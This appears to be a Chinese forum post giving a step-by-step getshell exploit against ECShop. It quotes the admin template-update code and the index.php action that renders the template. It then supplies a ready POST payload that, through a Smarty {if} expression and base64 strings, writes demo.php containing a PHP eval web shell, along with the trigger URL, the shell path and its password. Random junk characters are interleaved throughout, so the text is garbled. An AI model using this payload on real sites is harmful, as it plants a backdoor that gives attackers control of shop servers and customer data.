首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 w: H( x- J0 l" G$ [, G9 U
; i3 M: K& b7 f- n而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了% r9 C' `+ @8 T L
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ m. a0 P& ^5 d5 J" Z% Kadmin/template.php2 k0 V* E' r# [- n a
6 S. V6 s/ d) K! M
1 if ($_REQUEST['act'] == 'update_library')
* U/ l$ A; c. W2 g
# D) o; Z3 }/ |/ W- b/ F# }7 I2 3 \% |9 |4 B0 U: C
' J* R- @ ~- y; L
3 {
/ C+ G0 `6 U8 w0 Y
/ J+ Z* W' W$ o5 s' ~8 z: _4 check_authz_json('library_manage'); % S4 I3 R v2 U
7 Q& }* i7 V7 G& L0 h# m# G5 - ]" N% v7 Y) T( w d
' T) E+ ]6 c! D1 ], s* M* E3 n9 B
6 $html = stripslashes(json_str_iconv($_POST['html'])); : x: K+ w* ^: z. h3 u. t# e3 ?
. a' ^+ K: m9 x7
' y% Q" a, r. x% F5 o, W& y# }+ p; _% j* x
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 0 ^ e( j9 [& l5 p5 U/ k3 f- r+ s! `
0 m4 R4 e3 ?, O$ S5 k# e
9
% U9 c$ @; h: n6 \- o' v! p
! @" F' F9 C& j10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 + E5 H D# Y! n' }0 t$ j
2 {6 M% G! |" G f+ d8 z11 3 v* n3 T' j+ N+ m% V4 ~. p L
3 z/ t8 r, c* W8 _12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); / l. H5 r) o6 g3 L9 W' N$ U" \+ t5 F( }
1 [! f# X7 @/ x5 G2 |' u
13
" C: D6 @1 L6 w6 L0 z
) a6 v( n& g$ q8 }! k14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 2 X! Q0 E9 C6 z" @
# B B4 [% G# s: s
15 {
! x. k% \' H% C" Y5 J- q/ k& a
2 r. {6 O6 y$ y7 K" X; n8 A16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 n0 y* _5 z1 Z( }1 l( `- t/ h( s ?
17 make_json_result('', $_LANG['update_lib_success']); & I4 p( N; q: W0 t& S% ?4 g# n
, e# O: P9 w$ b0 k. ]: L2 k8 @18 } $ i R! W; g; g* k- n
6 F4 m$ f" [6 X, _1 u# [3 Y# @& n1 T
19 else
0 [. o9 J( t0 m7 q ~2 M9 Z& p& ^5 R0 \9 S: a; x
20 { 6 h% A9 K* b* ]0 ^7 s! h2 w' d/ d: H
* o/ @6 _8 _/ I21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
1 _) K Y3 Q2 C- P" \" a$ z7 I i0 J" m4 L6 x v
22 }
) @2 _7 ]7 Q) z. J: A: U( f8 }+ V& z5 I
23 }
( u+ ]4 A# e( p' q8 h# Z% d% y i7 k6 L) @2 k
那么找个比较方便调用了模板的文件
: S% Z7 P L( ?! @index.php
* W$ ~- Q7 |- T, F) W! {1 j1 R F
' P7 k: t) D( K7 k1 if ($act == 'cat_rec') ( b9 R1 ~! e+ v) _1 C
9 b) e* s" L) j: _
2
# m8 w1 k% |9 |+ [% e c; Q! \. ]/ Z' K! ^6 u& c- @
3 { 3 X0 L: ]2 g( X' R% p
, S. U5 _ J" G; j; m
4
( P* N+ u; {- X2 b2 i/ Q( C/ U% L
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); * t# j! I! E9 H5 Y+ c
, S; I/ p7 z+ t$ ~/ q6
% \0 [$ M2 s2 z& E% x% M' @
: B% Y1 h+ N4 j* r# I' C# Z7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ v5 f$ U" s5 L1 Y# W2 c
% B0 K t7 B; [8 M8 8 y' `: }; @) k z* v
$ W0 |: Y1 A: W5 l
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
9 r/ I4 D( c5 H. a+ k+ W/ t! ` W; J0 N& t) W7 L& J$ H3 E: I3 a+ a3 ~0 X6 Z
10 1 P& r- E$ g9 l7 G J4 m8 w. |% \
! t& p% r% ^' [5 U" m/ y4 k' g0 a, @
11 include_once('includes/cls_json.php');
: u# z* ^- y$ w P; C
) r, }! G: D2 V5 U12 ) ~7 Z/ Z! h8 J5 r! a
, n3 `( ^$ @) x- Q q1 A5 }" T2 y
13 $json = new JSON;
! y: l/ s4 B! e9 Q
# m# L3 s) ^# P8 e14 ) i; ?& U6 u( Q2 C, }& Q
1 W6 L2 V* t) i15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 n+ N1 }2 x: D4 o! t- X0 w5 I, b+ ]5 ], ]! S
16
. m) C: H w4 F4 Z; E P
+ t: J1 N1 b; [+ G3 C. b17 $children = get_children($cat_id); 7 y& d: V, w2 ~- B' S1 J: J
2 n: W2 b; n8 V1 v; G, F+ w& \1 B18
, y$ S- B& J& H. t A4 k, o3 g# ?! D6 P, N' f' A
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 - B1 S2 t# J/ ?7 L4 I3 z
* Y3 @) r# [* ^6 M& F' I# S# h/ b1 _
20
; L- }: I9 |) C' a+ N$ E1 H- [7 s
3 j9 q- I( n3 j0 g; g3 H; T" M21 $smarty->assign('cat_rec_sign', 1);
! ~+ |) H( z$ _: B R% c2 G) a' ]% r* }
22
: ?) R h) L7 L+ I% e- `2 o* \6 I
& o* u. J) s" [) f# I' A23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; S- F. c; H5 _7 C1 h6 J3 x- O2 |: A4 D. I6 Z$ J6 T
24
6 H1 c8 M5 }9 J+ a9 L0 s- g3 w7 ?$ t' |# x p7 k% @! D
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
6 ~, D: j( g- c& U# u5 | ^7 S
26 . H: a) s/ ~* i" A' D$ T& P5 Z2 r
: _7 l5 h' J$ p' z2 e2 L/ |27 echo $rec_array[$rec_type]; . y/ I! ^" }: q E( ~0 g# G
& J! ~7 ]! }# D5 A- l( u3 d6 ]
28 : j v* A$ c' J1 [9 L T
- _, ^7 L+ V7 s! q5 `- C29 die($json->encode($result));
& j5 i+ q6 c. O3 [* f
0 k. N% Z* y$ R$ ]! |6 t2 Q30 ! m+ n7 R3 V& W
" u2 m& B5 R5 o6 N
31 }
. G: u8 a" w& ]6 Q: B1 l6 t5 \
, u0 m9 f; ~+ ?2 a) D' v A那么就有利用方法了
5 E1 c6 E% m; T0 a( i6 Rpost包到http://localhost/ec/admin/template.php?act=update_library
7 k7 r ]9 q$ J- F7 RPost内容:4 r* x% V/ s7 D. l6 u! F2 r0 ^% I
) L- U1 T9 {; z) u
+ U6 ?5 k$ f: _4 h& ]" l1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} * q9 e/ m) R: i2 n6 L3 `' V' G
# R9 J1 }1 E/ ?& r0 D9 Y3 H$ z. a然后访问http://localhost/ec/index.php?act=cat_rec5 O, t+ Y+ d8 k" | @( v+ A5 W
2 s( _, V) S9 l# tshel地址:http://localhost/ec/demo.php' u8 h' x8 d' g- m/ J4 S
密码c6 X# U2 ~$ N+ Y: c1 T2 I
, ~& c: s. p& d
|